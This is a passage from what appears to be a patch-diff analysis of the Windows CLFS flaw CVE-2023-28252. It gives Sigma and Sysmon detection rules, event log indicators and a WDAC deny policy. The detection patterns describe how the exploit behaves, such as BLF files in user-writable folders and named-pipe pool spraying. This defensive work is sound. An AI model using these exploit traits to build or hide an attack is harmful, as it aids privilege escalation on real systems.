    - Database applications with CLFS-based write-ahead logs
level: high
```

#### Rule 2 — BLF Files Created in User-Writable Directories

```yaml
title: CLFS BLF File Created in User-Writable Directory
id: b8c4d2e5-6f7a-4b9c-0d1e-3f4a5b6c7d8e
status: experimental
description: |
    Detects BLF file creation in user-writable directories such as
    Users\Public, Temp, or Desktop. Legitimate CLFS usage almost never
    creates BLF files in these locations. This pattern is characteristic
    of CVE-2023-28252, CVE-2023-23376, and CVE-2022-37969 exploitation.
references:
    - https://securelist.com/nokoyawa-ransomware-attacks-with-windows-zero-day/109483/
author: OnlyFm252 / STAR Labs SG
date: 2025/07/17
tags:
    - attack.privilege_escalation
    - attack.t1068
logsource:
    category: file_event
    product: windows
detection:
    selection:
        TargetFilename|endswith: '.blf'
        TargetFilename|contains:
            - '\Users\Public\'
            - '\Users\Default\'
            - '\Temp\'
            - '\AppData\Local\Temp\'
            - '\Desktop\'
            - '\Downloads\'
    condition: selection
falsepositives:
    - Extremely unlikely in these directories
level: critical
```

#### Rule 3 — Rapid Named Pipe Creation (Pool Spray Indicator)

```yaml
title: Rapid Named Pipe Creation Followed by CLFS Activity
id: c9d5e3f6-7a8b-4c0d-1e2f-4a5b6c7d8e9f
status: experimental
description: |
    Detects rapid creation of named pipes followed by BLF file access,
    indicating potential pool spray preparation for CLFS kernel exploitation.
    The Nokoyawa exploit creates named pipes to spray non-paged pool with
    controlled data adjacent to CLFS allocations.
references:
    - https://googleprojectzero.github.io/0days-in-the-wild/0day-RCAs/2023/CVE-2023-28252.html
author: OnlyFm252 / STAR Labs SG
date: 2025/07/17
tags:
    - attack.privilege_escalation
    - attack.t1068
logsource:
    category: pipe_created
    product: windows
detection:
    selection_pipe:
        EventType: 'CreatePipe'
    filter_system:
        Image|endswith:
            - '\svchost.exe'
            - '\lsass.exe'
            - '\services.exe'
    condition: selection_pipe and not filter_system
    # Alert when combined with Sigma Rule 1 (BLF creation) from same process
falsepositives:
    - Applications with legitimate high-volume pipe usage
level: medium
```

### Sysmon Rules

```xml
<!--
  Sysmon configuration for CVE-2023-28252 / CLFS exploitation detection.
  Add these rules to your existing Sysmon configuration.
-->

<!-- Event ID 11 (FileCreate): BLF file created in user-writable directory -->
<FileCreate onmatch="include">
  <TargetFilename condition="end with">.blf</TargetFilename>
</FileCreate>
<FileCreate onmatch="exclude">
  <TargetFilename condition="begin with">C:\Windows\System32\config\</TargetFilename>
  <TargetFilename condition="begin with">C:\Windows\System32\SMI\</TargetFilename>
  <TargetFilename condition="begin with">C:\System Volume Information\</TargetFilename>
  <Image condition="image">svchost.exe</Image>
  <Image condition="image">msdtc.exe</Image>
</FileCreate>

<!-- Event ID 1 (ProcessCreate): Process loading clfsw32.dll from suspicious context -->
<!-- Note: Sysmon doesn't directly track DLL loads by default.
     Use Event ID 7 (ImageLoad) with the following: -->
<ImageLoad onmatch="include">
  <ImageLoaded condition="end with">\clfsw32.dll</ImageLoaded>
</ImageLoad>
<ImageLoad onmatch="exclude">
  <Image condition="image">svchost.exe</Image>
  <Image condition="image">msdtc.exe</Image>
  <Image condition="image">clussvc.exe</Image>
  <Image condition="begin with">C:\Windows\</Image>
</ImageLoad>

<!-- Event ID 17/18 (PipeEvent): Named pipe creation for pool spray detection -->
<!-- High-volume pipe creation from a non-system process is suspicious -->
<PipeEvent onmatch="include">
  <EventType condition="is">CreatePipe</EventType>
</PipeEvent>
<PipeEvent onmatch="exclude">
  <Image condition="image">svchost.exe</Image>
  <Image condition="image">lsass.exe</Image>
  <Image condition="image">services.exe</Image>
</PipeEvent>
```

### Windows Event Log Indicators

| Source | Event ID | Condition to Monitor |
|---|---|---|
| Security | 4656 | Object access request on `.blf` files with `WRITE_DATA` from a non-system process |
| Security | 4663 | Write access to `.blf` files in `\Users\Public\` or other user-writable directories |
| Security | 4688 | Process creation with command line referencing `CreateLogFile` or `AddLogContainer` |
| System | 1001 | BugCheck (BSOD) with `CLFS` in the faulting module — indicates exploitation attempt that hit Driver Verifier |
| System | 7036 | Unexpected service crashes that may indicate post-exploitation system instability |

### WDAC Deny Policy

Block vulnerable versions of `clfs.sys` that predate the April 2023 patch. This is most useful for environments that cannot immediately patch but can deploy WDAC policies.

```xml
<?xml version="1.0" encoding="utf-8"?>
<!--
  WDAC Deny Policy — Block vulnerable clfs.sys versions (pre-April 2023 patch)
  
  Deploy via: ConvertFrom-CIPolicy -> Deploy-CIPolicy or Group Policy
  
  This blocks clfs.sys binaries with version < 10.0.22621.1555 (22H2 patched).
  Adjust version ranges for other Windows builds as needed.
  
  WARNING: Blocking clfs.sys will prevent CLFS from loading, which breaks
  TxF, MSDTC, and other CLFS-dependent components. Use only if the risk of
  exploitation outweighs the operational impact, or in conjunction with
  isolation measures.
-->
<SiPolicy xmlns="urn:schemas-microsoft-com:sipolicy">
  <VersionEx>10.0.0.0</VersionEx>
  <PolicyTypeID>{A244370E-44C9-4C06-B551-F6016E563076}</PolicyTypeID>
  <PlatformID>{2E07F7E4-194C-4D20-B7C9-6F44A6C5A234}</PlatformID>
  <Rules>
    <Rule>
      <Option>Enabled:Unsigned System Integrity Policy</Option>
    </Rule>
  </Rules>
  <FileRules>
    <!-- Deny clfs.sys versions prior to the April 2023 fix -->
    <!-- Windows 11 22H2: patched version is 10.0.22621.1555 -->
    <Deny ID="ID_DENY_CLFS_22H2"
          FriendlyName="clfs.sys - CVE-2023-28252 vulnerable (22H2)"
          FileName="clfs.sys"
          MinimumFileVersion="10.0.22621.0"
          MaximumFileVersion="10.0.22621.1554" />
  </FileRules>
  <SigningScenarios>
    <SigningScenario Value="131" ID="ID_SIGNINGSCENARIO_DRIVERS" FriendlyName="Kernel Mode">
      <ProductSigners>
        <DeniedSigners />
        <FileRulesRef>
          <FileRuleRef RuleID="ID_DENY_CLFS_22H2" />
        </FileRulesRef>
      </ProductSigners>
    </SigningScenario>
  </SigningScenarios>
</SiPolicy>
```

---

## References

- [Microsoft Security Response Center — CVE-2023-28252](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2023-28252)
- [KB5025239 — April 11, 2023 Security Update (Windows 11 22H2)](https://support.microsoft.com/kb/5025239)
- [Google Project Zero — 0-day RCA by Genwei Jiang (FLARE OTF)](https://googleprojectzero.github.io/0days-in-the-wild/0day-RCAs/2023/CVE-2023-28252.html)
- [Kaspersky — Nokoyawa ransomware attacks with Windows zero-day](https://securelist.com/nokoyawa-ransomware-attacks-with-windows-zero-day/109483/)
- [Mandiant Vulnerability Disclosure — MNDT-2023-0005](https://github.com/mandiant/Vulnerability-Disclosures/blob/master/2023/MNDT-2023-0005.md)
- [VirusTotal — Nokoyawa exploit sample](https://www.virustotal.com/gui/file/018c464676b4a71be83bc073f482e94a4850e9c24abe4c4ed1285258ca95a21e)
- [ionescu007/clfs-docs — CLFS file format documentation](https://github.com/ionescu007/clfs-docs)
- [CWE-787: Out-of-bounds Write](https://cwe.mitre.org/data/definitions/787.html)
- [MITRE ATT&CK T1068 — Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1068/)
- [ghidriff — Binary Diff Tool](https://github.com/clearbluejar/ghidriff)

---

<sub>Source: ghidriff diff of clfs-2023-03.sys (10.0.22621.1265, pre-patch) vs clfs-2023-04.sys (10.0.22621.1555, post-patch) —
[download pre](/data/patch_diffs/binaries/clfs-2023-03.sys) /
[download post](/data/patch_diffs/binaries/clfs-2023-04.sys).
P0 RCA stack trace provided the initial kernel call chain from `AddLogContainer` -> `WriteMetadataBlock`.
Call flow verified via live Ghidra MCP xref tracing (`get_function_xrefs`, `decompile_function`) against pre-patch binary.
Key functions decompiled: `GetControlRecord`, `WriteMetadataBlock`, `ExtendMetadataBlock`, `AddSymbol`, `AddContainer`, `AllocContainer`, `Dispatch`.</sub>
